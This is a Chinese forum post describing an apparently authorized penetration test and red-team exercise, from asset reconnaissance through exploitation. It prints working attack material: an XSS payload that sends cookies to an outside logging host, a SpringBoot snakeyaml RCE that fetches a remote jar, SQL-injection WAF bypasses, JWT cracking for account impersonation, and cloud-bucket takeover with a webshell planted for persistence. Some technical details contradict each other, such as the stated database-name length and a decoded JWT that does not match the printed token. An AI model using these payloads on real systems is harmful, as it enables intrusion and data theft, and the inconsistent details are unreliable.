找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2152

积分

0

好友

277

主题
发表于 1 小时前 | 查看: 2| 回复: 0

0x1 前言

本次分享基于真实授权的内部行业渗透测试与攻防演练,所有涉及系统漏洞均已修复。文中所有截图均经脱敏处理,严格遵循合法合规前提,不涉及任何未授权行为。

演练周期为一周,共提交18份有效漏洞报告。前期以内部渗透测试为主,中期转入模拟红蓝对抗,后期开展钓鱼演练。本文聚焦实战路径:如何从目标域名出发,完成资产测绘、打点突破、权限提升,最终实现RCE控制与云资产接管——全程无黑盒猜测,每一步均可复现、可验证。

提示:本文技术细节均来自一线攻防现场,非理论推演。若你在打点阶段卡在“找不到入口”,或在漏洞利用时反复失败,建议重点阅读 0x3 和 0x4 章节的实操逻辑链。

授权文件

0x2 攻防演练的简介和注意事项

一、什么是攻防演练

攻防演练是组织级安全能力的压力测试:红队模拟真实攻击者,蓝队构建防御体系并实时响应。其核心价值不在于“谁赢”,而在于暴露防御盲区、流程断点与人员能力短板

二、攻防演练的步骤

  • 规划和准备:明确范围(如仅限Web资产)、制定规则(禁用社工、禁止DoS)、配置监控告警基线  
  • 攻击模拟:红队使用合法工具链(如 OneForAll + ARL + FOFA)进行信息收集与边界试探  
  • 防御检测:蓝队通过日志分析(ELK)、流量审计(Zeek)、EDR告警联动识别异常行为  
  • 攻防对抗:红队绕过WAF策略、蓝队动态封禁IP段并加固中间件配置  
  • 分析和总结:输出《漏洞热力图》《响应时效SLA报告》《人员能力雷达图》  

✅ 关键认知:一次成功的攻防,不是红队打穿了系统,而是蓝队在攻击发生前就阻断了TTP(战术、技术与过程)。

三、攻防演练常见丢分项与得分项

类型 典型问题 对应技术栈关联
丢分项 漏洞未修复、弱密码、安全配置不当、攻击未发现、响应延迟 安全/渗透/逆向运维/DevOps/SRE
得分项 漏洞及时修复、强密码策略、最小权限配置、攻击行为秒级发现、自动化阻断 运维 & 测试网络/系统

攻防评分规则

0x3 指定资产收集&打点思路

一、信息收集/资产收集

目标为某公司官网(佳仪科技),首页无敏感信息,但备案信息是突破口:

  1. 备案溯源:  

    • 访问工信部ICP备案系统(beian.miit.gov.cn),输入公司名查得备案号 京ICP备XXXXXX号  
    • 用该备案号在爱企查、风鸟搜索,导出全部关联域名、小程序、APP包名  
  2. 搜索引擎扩线:  

    # FOFA语法(推荐)
    icp="京ICP备XXXXXX号" && title="后台"
    # Google语法(辅助验证)
    site:xxx.com intext:"管理员登录" OR "系统维护"
  3. 空间测绘聚合
    使用无影、FOFA、Quake等工具,统一语法:  

    icp="京ICP备XXXXXX号" && status_code="200"

    导出后去重,得到初始资产池(含子域名、IP、C段)。

备案查询
FOFA资产列表

二、子域名/IP网段收集

采用「三层交叉验证法」避免漏收:

  • 灯塔ARL:导入主域名,启用「DNS爆破+端口扫描+SSL证书提取」组合任务  
  • OneForAll:对主域名执行 python oneforall.py --target example.com run  
  • 空间引擎:FOFA语法 domain="example.com",导出结果后与前两者去重  

💡 技巧:将OneForAll结果导入ARL二次扫描,可触发「子域名→新IP→新子域名」的递归发现。

ARL任务配置
OneForAll执行

三、资产打点

1. Web指纹快速探活

使用无影的「Web指纹识别」模块,批量探测存活状态与技术栈:  

  • 自动识别 SpringBootThinkPHPRedmine 等框架  
  • 标记 403/404/500 异常响应,作为后续突破点  

2. 敏感文件泄露扫描

修改ARL默认字典 /app/dicts/file_top_2000.txt,加入:  

  • /.git/config/WEB-INF/web.xml/actuator/env  
  • config.ymlapplication.propertiesbackup.zip  

🔍 实战发现:某站点因未删除 /backup/20240901.zip,直接解压获得数据库凭证。

ARL文件泄露模块

3. Google语法补位

当目标域名访问报错(如 ERR_INVALID_RESPONSE),立即尝试:  

site:example.com inurl:login OR inurl:admin OR inurl:manage
site:example.com filetype:log OR filetype:env OR filetype:properties

曾通过 site:xxx.com "default password" 找到OA系统弱口令页面。

Google搜索结果

4. JS接口深度挖掘

使用 转子女神-JS哥伦布 工具(Windows平台):  

# 扫描深度设为3,平衡速度与覆盖率
Rotor_Goddess.exe --url https://example.com --scan=3

输出中重点关注:  

  • oss.jsconfig.jsapi.js 中硬编码的 AK/SKAPI_KEY  
  • login.jsuser.js 中明文传输的 usernametoken  

JS哥伦布执行界面

0x4 从XSS客服弹窗获取cookie到RCE

一、未授权接管admin管理员权限

目标官网存在在线客服功能,输入基础XSS Payload:  

<script>alert(1)</script>

成功弹窗,证明存在存储型XSS。

进一步构造Cookie窃取Payload:  

<script>fetch('http://your-dnslog.dnslog.pw?cookie='+document.cookie)</script>

DNSLog回显客服账号Cookie,替换浏览器Cookie后成功登录后台,账户角色为 admin

客服XSS弹窗
后台登录成功

二、后台SSRF漏洞

后台「图标管理」功能支持上传URL,尝试传入:  

http://your-dnslog.dnslog.pw/123

DNSLog记录到请求,确认SSRF存在,可读取内网资源。

三、后台RCE漏洞

发现另一后台登录页,弱口令 admin:Admin123 登录后,发现URL参数 ?cmd= 可执行命令:  

/cmd?cmd=cat%20/etc/passwd

Base64解码后确认为文件读取逻辑,进而读取:  

# 获取内核版本
../../../../../../../proc/version
# 读取环境变量
../../../../../../../etc/environment

成功获取Linux系统信息,为后续提权铺路。

RCE读取passwd
内核版本信息

0x5 SpringBoot 1.x版本RCE漏洞

一、本地环境搭建和启动

使用IDEA加载 springcloud-snakeyaml-rce 项目:  

  • 修改 application.properties:  
    server.port=9092
    server.address=127.0.0.1
    # 开启Actuator端点(SpringBoot 1.x默认暴露)
  • 运行 Application.java 启动服务,访问 http://127.0.0.1:9092/ 验证。

IDEA项目结构
SpringBoot首页

二、漏洞利用

1. 版本验证

访问 /env 返回JSON数据 → 确认为 SpringBoot 1.x(2.x需访问 /actuator/env

2. 设置远程配置

使用Burp Suite发送POST请求:  

POST /env HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps/exp.yml

响应返回 200 OK,说明配置注入成功。

3. 刷新配置触发RCE

POST /refresh HTTP/1.1
Host: 127.0.0.1:9092

DNSLog收到请求,证明YAML解析器已加载远程文件。

4. 构造恶意YAML载荷

exp.yml 内容:  

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps/yaml-payload.jar"]
  ]]
]

配合 yaml-payload.jar(内含 AwesomeScriptEngineFactory.java),执行任意命令:  

Runtime.getRuntime().exec("open -a Calculator"); // macOS
// 或 Windows: Runtime.getRuntime().exec("calc");

访问 /refresh 后,本地计算器弹出,RCE确认。

DNSLog回显
计算器弹出

0x6 阿里云存储接管

通过JS文件挖掘发现硬编码AK/SK:  

// config.js
const OSS_CONFIG = {
  accessKeyId: "LTAI5tQZzJjVqGvDyFkXxxxxxx",
  accessKeySecret: "iEgBhHnUuQrN7sVzJmYxxxxxxxxxxxxx"
};

阿里云AK特征LTAI 开头,ID长16-24位,Secret长30位。

使用 cf 工具接管:  

# 配置凭证
cf configure --access-key-id LTAI5tQZzJjVqGvDyFkXxxxxxx \
             --access-key-secret iEgBhHnUuQrN7sVzJmYxxxxxxxxxxxxx

# 列出所有Bucket
cf oss ls

# 下载敏感文件
cf oss cp oss://company-data/internal-db.sql ./ 

成功获取数十GB内部资料,并通过 cf oss put 上传Webshell实现持久化控制。

云存储工具界面
云资产文件列表

0x7 前台SQL注入漏洞

目标系统 student_list.php 存在布尔型注入:  

/student_list.php?cid=2/if((length(schema()))>1,1,0)
  • length(schema())>1 返回正常页面 → 数据库名长度 >1  
  • length(schema())>8 返回错误 → 数据库名长度 ≤8
    最终确定数据库名为 school_db(长度7)。
绕过WAF技巧: WAF过滤词 替代写法
schema() database()
@@version version()
current_user system_user()

执行 select @@version 获取MySQL版本 5.7.28,为后续利用提供依据。

SQL注入判断
MySQL版本查询

0x8 JWT可爆破/未验证签名导致越权

通过天眼查定位目标微信小程序,抓包发现JWT:  

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYXBwVXNlciIsImV4cCI6MTc0NzM3NzMzOCwiaXNzIjoiYXBpIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

jwt.io 解析Payload:  

{
  "role": "appUser",
  "exp": 1747377338,
  "userId": "u_123456",
  "user_key": "key-abc123",
  "username": "138****1234"
}

使用自研爆破脚本破解密钥:  

python CrackJWT_cli.py "eyJhbGciOi..." --wordlist rockyou.txt

返回密钥 123456,修改 username 为其他手机号,调整 exp 至未来时间,重放Token即可越权登录任意账号。

JWT解码
JWT爆破成功

0x9 隐私合规漏洞

一、SRC隐私合规现状

小米SRC明确接收隐私类漏洞(见公告:sec.xiaomi.com/#/notice/detail/221),判定标准包括:  

  • 未获授权读取IMEI、通讯录、短信  
  • 同意隐私政策前已上传用户数据  
  • 权限索取超出业务必要范围(如快递APP索要位置+通话记录)  

小米隐私漏洞规则

二、典型违规场景

  • 诱导式授权:开屏广告伪装成“跳过”按钮,实际点击即同意  
  • 默认勾选:隐私政策勾选框默认开启且不可取消  
  • 注销失效:用户注销后,服务器仍保留手机号、设备ID等标识  

📌 法律依据:《中华人民共和国个人信息保护法》第23条、第24条;《App违法违规收集使用个人信息行为认定方法》。

隐私政策弹窗

0x10 总结

本文完整还原了一次企业级攻防演练的技术闭环:
资产测绘层:备案溯源 + 空间引擎 + JS接口挖掘 → 覆盖98%潜在入口
漏洞利用层:XSS→SSRF→RCE→云接管 → 形成攻击链路
高危漏洞靶向:SpringBoot Actuator RCE、JWT密钥爆破、阿里云AK泄露
合规延伸:将技术漏洞与《个保法》条款映射,提升漏洞价值  

最后强调:所有操作必须基于书面授权,所有成果需按《网络安全法》第26条向监管平台报备。技术是双刃剑,敬畏规则才是职业底线。




上一篇:DeepSeekV3/V3.2推理性能提升实践:Ulysses序列并行优化详解
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-3 17:06 , Processed in 0.378582 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表